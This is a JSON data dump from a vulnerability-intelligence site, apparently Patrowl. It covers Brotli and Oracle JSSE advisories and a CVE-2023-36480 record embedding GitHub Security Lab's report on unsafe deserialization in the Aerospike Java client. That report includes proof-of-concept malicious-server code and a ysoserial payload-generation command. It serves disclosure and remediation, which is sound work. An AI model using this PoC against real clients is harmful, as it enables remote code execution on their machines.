[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2023-36480":30,"landing-articles":92},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":47,"cwes":48,"cpes":50,"technologies":52,"references":54,"score":70,"epss_score":71,"epss_percentile":72,"is_kev":73,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":74,"attack_mappings":84,"exploits":91},336038,"CVE-2023-36480","EUVD-2023-2318","Aerospike Java Client vulnerable to unsafe deserialization of server responses\n\n# GitHub Security Lab (GHSL) Vulnerability Report: `GHSL-2023-044`\n\nThe [GitHub Security Lab](https:\u002F\u002Fsecuritylab.github.com) team has identified a potential security vulnerability in [Aerospike Java Client](https:\u002F\u002Fgithub.com\u002Faerospike\u002Faerospike-client-java\u002F).\n\nWe are committed to working with you to help resolve this issue. In this report you will find everything you need to effectively coordinate a resolution of this issue with the GHSL team.\n\nIf at any point you have concerns or questions about this process, please do not hesitate to reach out to us at `securitylab@github.com` (please include `GHSL-2023-044` as a reference).\n\nIf you are _NOT_ the correct point of contact for this report, please let us know!\n\n## Summary\n\nThe Aerospike Java client is a Java application that implements a network protocol to communicate with an Aerospike server. Some of the messages received from the server contain Java objects that the client deserializes when it encounters them without further validation. Attackers that manage to trick clients into communicating with a malicious server can include especially crafted objects in its responses that, once deserialized by the client, force it to execute arbitrary code. This can be abused to take control of the machine the client is running on.\n\n## Product\n\nAerospike Java Client\n\n## Tested Version\n\n[6.1.7](https:\u002F\u002Fgithub.com\u002Faerospike\u002Faerospike-client-java\u002Freleases\u002Ftag\u002F6.1.7)\n\n## Details\n\n### Issue: Unsafe deserialization of server responses (`GHSL-2023-044`)\n\nThe Aerospike Java client implements different ways of communicating with an Aerospike server to perform several operations. Asynchronous commands can be executed using the Netty framework using the `NettyCommand` class. This class includes an `InboundHandler` that extends Netty's `ChannelInboundHandlerAdapter`, which handles inbound data coming from the Netty channel established with the server. This is implemented in the `channelRead` method:\n\n[`client\u002Fsrc\u002Fcom\u002Faerospike\u002Fclient\u002Fasync\u002FNettyCommand.java:1157`](https:\u002F\u002Fgithub.com\u002Faerospike\u002Faerospike-client-java\u002Fblob\u002Fe40a49b3db0d2b3d45068910e1cb9d917c795315\u002Fclient\u002Fsrc\u002Fcom\u002Faerospike\u002Fclient\u002Fasync\u002FNettyCommand.java#L1157)\n\n```java\n@Override\npublic void channelRead(ChannelHandlerContext ctx, Object msg) {\n    command.read((ByteBuf)msg);\n}\n```\n\nThe incoming `msg` object is handled by the `NettyCommand.read` method, which behaves differently depending on the `state` variable. Several states produce paths to the vulnerable code — for instance, we will follow the path through `AsyncCommand.COMMAND_READ_HEADER`:\n\n[`\u002Fclient\u002Fsrc\u002Fcom\u002Faerospike\u002Fclient\u002Fasync\u002FNettyCommand.java:489`](https:\u002F\u002Fgithub.com\u002Faerospike\u002Faerospike-client-java\u002Fblob\u002Fe40a49b3db0d2b3d45068910e1cb9d917c795315\u002Fclient\u002Fsrc\u002Fcom\u002Faerospike\u002Fclient\u002Fasync\u002FNettyCommand.java#L489)\n\n```java\nprivate void read(ByteBuf byteBuffer) {\n    eventReceived = true;\n\n    try {\n        switch (state) {\n            \u002F\u002F --snip--\n            case AsyncCommand.COMMAND_READ_HEADER:\n                if (command.isSingle) {\n                    readSingleHeader(byteBuffer);\n                }\n                \u002F\u002F --snip--\n        }\n        \u002F\u002F --snip--\n    }\n    \u002F\u002F --snip---\n}\n```\n\nSome bytes are read from the message buffer and saved in `command.dataBuffer` in the `readSingleHeader` method, after which `parseSingleBody` is called:\n\n[`client\u002Fsrc\u002Fcom\u002Faerospike\u002Fclient\u002Fasync\u002FNettyCommand.java:596`](https:\u002F\u002Fgithub.com\u002Faerospike\u002Faerospike-client-java\u002Fblob\u002Fe40a49b3db0d2b3d45068910e1cb9d917c795315\u002Fclient\u002Fsrc\u002Fcom\u002Faerospike\u002Fclient\u002Fasync\u002FNettyCommand.java#L596)\n\n```java\nprivate void readSingleHeader(ByteBuf byteBuffer) {\n    int readableBytes = byteBuffer.readableBytes();\n    int dataSize = command.dataOffset + readableBytes;\n\n    \u002F\u002F --snip--\n\n    byteBuffer.readBytes(command.dataBuffer, 0, dataSize);\n    command.dataOffset = dataSize;\n\n    if (command.dataOffset >= receiveSize) {\n        parseSingleBody();\n    }\n}\n```\n\n`parseSingleBody` simply delegates on `AsyncCommand.parseCommandResult`, which unless the message is compressed, directly calls `AsyncCommand.parseResult`. The implementation of this method depends on the command type. For an `AsyncRead` command, we have the following:\n\n[`client\u002Fsrc\u002Fcom\u002Faerospike\u002Fclient\u002Fasync\u002FAsyncRead.java:68`](https:\u002F\u002Fgithub.com\u002Faerospike\u002Faerospike-client-java\u002Fblob\u002Fe40a49b3db0d2b3d45068910e1cb9d917c795315\u002Fclient\u002Fsrc\u002Fcom\u002Faerospike\u002Fclient\u002Fasync\u002FAsyncRead.java#L68)\n\n```java\n@Override\nprotected final boolean parseResult() {\n    validateHeaderSize();\n\n    int resultCode = dataBuffer[dataOffset + 5] & 0xFF;\n    int generation = Buffer.bytesToInt(dataBuffer, dataOffset + 6);\n    int expiration = Buffer.bytesToInt(dataBuffer, dataOffset + 10);\n    int fieldCount = Buffer.bytesToShort(dataBuffer, dataOffset + 18);\n    int opCount = Buffer.bytesToShort(dataBuffer, dataOffset + 20);\n    dataOffset += Command.MSG_REMAINING_HEADER_SIZE;\n\n    if (resultCode == 0) {\n        \u002F\u002F --snip--\n        skipKey(fieldCount);\n        record = parseRecord(opCount, generation, expiration, isOperation);\n        return true;\n    }\n```\n\nIt can be seen that several fields are read from the message's bytes, and then a call to `Command.parseRecord` happens:\n\n[`client\u002Fsrc\u002Fcom\u002Faerospike\u002Fclient\u002Fcommand\u002FCommand.java:2083`](https:\u002F\u002Fgithub.com\u002Faerospike\u002Faerospike-client-java\u002Fblob\u002Fe40a49b3db0d2b3d45068910e1cb9d917c795315\u002Fclient\u002Fsrc\u002Fcom\u002Faerospike\u002Fclient\u002Fcommand\u002FCommand.java#L2083)\n\n```java\nprotected final Record parseRecord(\n    int opCount,\n    int generation,\n    int expiration,\n    boolean isOperation\n)  {\n    Map\u003CString,Object> bins = new LinkedHashMap\u003C>();\n\n    for (int i = 0 ; i \u003C opCount; i++) {\n        int opSize = Buffer.bytesToInt(dataBuffer, dataOffset);\n        byte particleType = dataBuffer[dataOffset + 5];\n        byte nameSize = dataBuffer[dataOffset + 7];\n        String name = Buffer.utf8ToString(dataBuffer, dataOffset + 8, nameSize);\n        dataOffset += 4 + 4 + nameSize;\n\n        int particleBytesSize = opSize - (4 + nameSize);\n        Object value = Buffer.bytesToParticle(particleType, dataBuffer, dataOffset, particleBytesSize);\n```\n\n`Buffer.bytesToParticle` converts the remaining bytes in the data buffer depending on the `particleType` field. We're interested in the `JBLOB` case:\n\n[`client\u002Fsrc\u002Fcom\u002Faerospike\u002Fclient\u002Fcommand\u002FBuffer.java:53`](https:\u002F\u002Fgithub.com\u002Faerospike\u002Faerospike-client-java\u002Fblob\u002Fe40a49b3db0d2b3d45068910e1cb9d917c795315\u002Fclient\u002Fsrc\u002Fcom\u002Faerospike\u002Fclient\u002Fcommand\u002FBuffer.java#L53)\n\n```java\npublic static Object bytesToParticle(int type, byte[] buf, int offset, int len)\n    throws AerospikeException {\n        switch (type) {\n            \u002F\u002F --snip--\n            case ParticleType.JBLOB:\n                return Buffer.bytesToObject(buf, offset, len);\n```\n\nIn `bytesToObject`, the deserialization of an object from the message bytes happens:\n\n[`client\u002Fsrc\u002Fcom\u002Faerospike\u002Fclient\u002Fcommand\u002FBuffer.java:300`](https:\u002F\u002Fgithub.com\u002Faerospike\u002Faerospike-client-java\u002Fblob\u002Fe40a49b3db0d2b3d45068910e1cb9d917c795315\u002Fclient\u002Fsrc\u002Fcom\u002Faerospike\u002Fclient\u002Fcommand\u002FBuffer.java#L300)\n\n```java\npublic static Object bytesToObject(byte[] buf, int offset, int length) {\n    \u002F\u002F --snip--\n    try (ByteArrayInputStream bastream = new ByteArrayInputStream(buf, offset, length)) {\n        try (ObjectInputStream oistream = new ObjectInputStream(bastream)) {\n            return oistream.readObject();\n        }\n    }\n    \u002F\u002F --snip--\n}\n```\n\nNOTE: Take into account that there exists a similar sink, that can be reached in a similar way, in `Unpacker.unpackBlock`:\n\n[`client\u002Fsrc\u002Fcom\u002Faerospike\u002Fclient\u002Futil\u002FUnpacker.java:227`](https:\u002F\u002Fgithub.com\u002Faerospike\u002Faerospike-client-java\u002Fblob\u002Fe40a49b3db0d2b3d45068910e1cb9d917c795315\u002Fclient\u002Fsrc\u002Fcom\u002Faerospike\u002Fclient\u002Futil\u002FUnpacker.java#L227)\n\n```java\nprivate T unpackBlob(int count) throws IOException, ClassNotFoundException {\n    \u002F\u002F --snip--\n    case ParticleType.JBLOB:\n        \u002F\u002F --snip--\n        try (ByteArrayInputStream bastream = new ByteArrayInputStream(buffer, offset, count)) {\n            try (ObjectInputStream oistream = new ObjectInputStream(bastream)) {\n                val = getJavaBlob(oistream.readObject());\n            }\n        }\n```\n\nThis vulnerability was discovered with the help of [CodeQL](https:\u002F\u002Fcodeql.github.com\u002F).\n\n#### Impact\n\nThis issue may lead to Remote Code Execution (RCE) in the Java client.\n\n#### Remediation\n\nAvoid deserialization of untrusted data if at all possible. If the architecture permits it then use other formats instead of serialized objects, for example JSON or XML.  However, these formats should not be deserialized into complex objects because this provides further opportunities for attack. For example, XML-based deserialization attacks are possible through libraries such as XStream and XmlDecoder.\n\nAlternatively, a tightly controlled whitelist can limit the vulnerability of code but be aware of the existence of so-called Bypass Gadgets, which can circumvent such protection measures.\n\n#### Resources\n\nTo exploit this vulnerability, a malicious Aerospike server is needed. For the sake of simplicity, we implemented a mock server with hardcoded responses, with the only goal of reaching the vulnerable code of the client. To be able to easily reproduce this, we used the client's examples with the `-netty` flag, specifically the `AsyncPutGet`, which uses an `AsyncRead`. The examples point to `localhost:3000` by default, so we set up a simple Netty TCP server listening on that port, which replicates responses previously intercepted from a real Aerospike server and returns them to the client, until the `AsyncRead` command happens. Then, our server injects the malicious response:\n\n```java\npublic class AttackChannelHandler extends SimpleChannelInboundHandler\u003CString> {\n\n    @Override\n    protected void channelRead0(ChannelHandlerContext ctx, String s) throws Exception {\n        \u002F\u002F --snip--\n        if (s.getBytes()[7] == 0x44) {\n            AttackMessage m = new AttackMessage(\n                    Files.readAllBytes(Paths.get(\"location\u002Fof\u002Fdeserialization\u002Fpayload.bin\")));\n            ctx.channel().writeAndFlush(m);\n            return;\n        }\n        \u002F\u002F --snip--\n    }\n}\n```\n\n`AttackMessage` is a class that hardcodes the necessary data to deliver the payload:\n\n```java\npublic class AttackMessage {\n\n    private byte resultCode = 0;\n    private int generation = 2;\n    private int expiration = 417523457;\n    private short fieldCount = 0;\n    private short opCount = 1;\n    private byte particleType = 7;\n    private String name = \"putgetbin\";\n    private byte[] payload;\n\n    public AttackMessage(byte[] payload) {\n        this.payload = payload;\n    }\n\n    \u002F\u002F --snip-- (getters)\n\n    public int[] getSize() {\n        int size = 30 + name.length() + payload.length;\n        int low = (byte) (size & 0xFF);\n        int high = (byte) (size >> 8) & 0xFF;\n        return new int[] {high, low};\n    }\n\n    public int getOpSize() {\n        return payload.length + 4 + name.length();\n    }\n\n    public byte[] getPayload() {\n        return payload;\n    }\n}\n```\n\nAnd it's finally encoded and delivered to the client through the network using a `MessageToByteEncoder` from Netty:\n\n```java\npublic class AttackMessageEncoder extends MessageToByteEncoder\u003CAttackMessage> {\n\n    @Override\n    protected void encode(ChannelHandlerContext ctx, AttackMessage msg, ByteBuf out)\n            throws Exception {\n        \u002F\u002F header\n        out.writeBytes(new byte[] {0x02, 0x03, 0x00, 0x00, 0x00, 0x00});\n        int[] length = msg.getSize();\n        out.writeByte(length[0]);\n        out.writeByte(length[1]);\n\n        out.writeBytes(new byte[] {0x16, 0x00, 0x00, 0x00, 0x00});\n        out.writeByte(msg.getResultCode());\n        out.writeInt(msg.getGeneration());\n        out.writeInt(msg.getExpiration());\n\n        out.writeBytes(new byte[] {0x00, 0x00, 0x00, 0x00});\n        out.writeShort(msg.getFieldCount());\n        out.writeShort(msg.getOpCount());\n        out.writeInt(msg.getOpSize());\n\n        out.writeByte(0x01);\n        out.writeByte(msg.getParticleType());\n\n        out.writeByte(0x00);\n        out.writeByte(msg.getName().length());\n        out.writeCharSequence(msg.getName(), Charset.defaultCharset());\n        out.writeBytes(msg.getPayload());\n    }\n\n}\n```\n\nThe specific deserialization payload that needs to be used depends on the deserialization gadgets available in the classpath of the application using the Aerospike client. Again, for simplicity, we assumed the victim application uses Apache Commons Collections 4.0, which contains a well-known deserialization gadget:\n\n```xml\n\u003Cdependency>\n  \u003CgroupId>org.apache.commons\u003C\u002FgroupId>\n  \u003CartifactId>commons-collections4\u003C\u002FartifactId>\n  \u003Cversion>4.0\u003C\u002Fversion>\n\u003C\u002Fdependency>\n```\n\nIn which case, the malicious payload file could be generated using [`ysoserial`](https:\u002F\u002Fgithub.com\u002Ffrohoff\u002Fysoserial) as follows:\n\n```\njava -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 '\u002FSystem\u002FApplications\u002FCalculator.app\u002FContents\u002FMacOS\u002FCalculator' > payload.bin\n```\n\n## GitHub Security Advisories\n\nWe recommend you create a private [GitHub Security Advisory](https:\u002F\u002Fhelp.github.com\u002Fen\u002Fgithub\u002Fmanaging-security-vulnerabilities\u002Fcreating-a-security-advisory) for this finding. This also allows you to invite the GHSL team to collaborate and further discuss this finding in private before it is [published](https:\u002F\u002Fhelp.github.com\u002Fen\u002Fgithub\u002Fmanaging-security-vulnerabilities\u002Fpublishing-a-security-advisory).\n\n## Credit\n\nThis issue was discovered and reported by the GitHub CodeQL team members [@atorralba (Tony Torralba)](https:\u002F\u002Fgithub.com\u002Fatorralba) and [@joefarebrother (Joseph Farebrother)](https:\u002F\u002Fgithub.com\u002Fjoefarebrother).\n\n## Contact\n\nYou can contact the GHSL team at `securitylab@github.com`, please include a reference to `GHSL-2023-044` in any communication regarding this issue.\n\n## Disclosure Policy\n\nThis report is subject to our [coordinated disclosure policy](https:\u002F\u002Fsecuritylab.github.com\u002Fadvisories#policy).","2023-08-03T19:45:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":44,"userInteraction":45,"attackComplexity":46,"availabilityImpact":44,"privilegesRequired":45,"confidentialityImpact":44},"UNCHANGED","3.1",9.8,"NETWORK","CRITICAL","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","HIGH","NONE","LOW",true,[49],"CWE-502",[51],"cpe:2.3:a:aerospike:aerospike_java_client:*:*:*:*:*:*:*:*",[53],"Aerospike Aerospike Java Client",[55,56,57,58,59,60,61,62,63,64,65,66,67,68,69],"https:\u002F\u002Fgithub.com\u002Faerospike\u002Faerospike-client-java\u002Fblob\u002Fe40a49b3db0d2b3d45068910e1cb9d917c795315\u002Fclient\u002Fsrc\u002Fcom\u002Faerospike\u002Fclient\u002Fasync\u002FAsyncRead.java#L68","https:\u002F\u002Fgithub.com\u002Faerospike\u002Faerospike-client-java\u002Fblob\u002Fe40a49b3db0d2b3d45068910e1cb9d917c795315\u002Fclient\u002Fsrc\u002Fcom\u002Faerospike\u002Fclient\u002Fasync\u002FNettyCommand.java#L1157","https:\u002F\u002Fgithub.com\u002Faerospike\u002Faerospike-client-java\u002Fblob\u002Fe40a49b3db0d2b3d45068910e1cb9d917c795315\u002Fclient\u002Fsrc\u002Fcom\u002Faerospike\u002Fclient\u002Fasync\u002FNettyCommand.java#L489","https:\u002F\u002Fgithub.com\u002Faerospike\u002Faerospike-client-java\u002Fblob\u002Fe40a49b3db0d2b3d45068910e1cb9d917c795315\u002Fclient\u002Fsrc\u002Fcom\u002Faerospike\u002Fclient\u002Fasync\u002FNettyCommand.java#L596","https:\u002F\u002Fgithub.com\u002Faerospike\u002Faerospike-client-java\u002Fblob\u002Fe40a49b3db0d2b3d45068910e1cb9d917c795315\u002Fclient\u002Fsrc\u002Fcom\u002Faerospike\u002Fclient\u002Fcommand\u002FBuffer.java#L53","https:\u002F\u002Fgithub.com\u002Faerospike\u002Faerospike-client-java\u002Fblob\u002Fe40a49b3db0d2b3d45068910e1cb9d917c795315\u002Fclient\u002Fsrc\u002Fcom\u002Faerospike\u002Fclient\u002Fcommand\u002FCommand.java#L2083","https:\u002F\u002Fgithub.com\u002Faerospike\u002Faerospike-client-java\u002Fblob\u002Fe40a49b3db0d2b3d45068910e1cb9d917c795315\u002Fclient\u002Fsrc\u002Fcom\u002Faerospike\u002Fclient\u002Futil\u002FUnpacker.java#L227","https:\u002F\u002Fgithub.com\u002Faerospike\u002Faerospike-client-java\u002Fcommit\u002F02bf28e62fb186f004c82c87b219db2fc5b8262a","https:\u002F\u002Fgithub.com\u002Faerospike\u002Faerospike-client-java\u002Fcommit\u002F51c65e32837da29435161a2d9c09bbdc2071ecae","https:\u002F\u002Fgithub.com\u002Faerospike\u002Faerospike-client-java\u002Fcommit\u002F66aafb4cd743cf53baffaeaf69b035f51d2e2e36","https:\u002F\u002Fgithub.com\u002Faerospike\u002Faerospike-client-java\u002Fcommit\u002F80c508cc5ecb0173ce92d7fab8cfab5e77bd9900","https:\u002F\u002Fgithub.com\u002Faerospike\u002Faerospike-client-java\u002Fsecurity\u002Fadvisories\u002FGHSA-jj95-55cr-9597","https:\u002F\u002Fsupport.aerospike.com\u002Fs\u002Farticle\u002FCVE-2023-36480-Aerospike-Java-Client-vulnerable-to-unsafe-deserialization-of-server-responses","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2023-36480","https:\u002F\u002Fgithub.com\u002Faerospike\u002Faerospike-client-java",0.69,0.01776,0.78054,false,{"timestamp":75,"automatable":76,"tech_impact":77,"exploitation":78,"cisa_decision":79,"cisa_remediation_timeline":83},"2024-10-17T14:59:51.407249Z","yes","total","poc",{"vector":80,"decision":81,"priority":82},"CISAv1\u002FE:P\u002FA:Y\u002FT:T\u002FM:H\u002F2026-10-26T02:11:23.103198\u002F","attend","medium","3D",[85],{"name":86,"source":87,"tactics":88,"technique_id":90},"Exploit Public-Facing Application","attack_vector",[89],"initial-access","T1190",[],{"count":93,"next":94,"previous":6,"results":95},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[96,104,112],{"id":97,"title":98,"summary":99,"published_at":100,"type":101,"link":102,"image_url":103},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":105,"title":106,"summary":107,"published_at":108,"type":109,"link":110,"image_url":111},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":113,"title":114,"summary":115,"published_at":116,"type":117,"link":118,"image_url":119},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]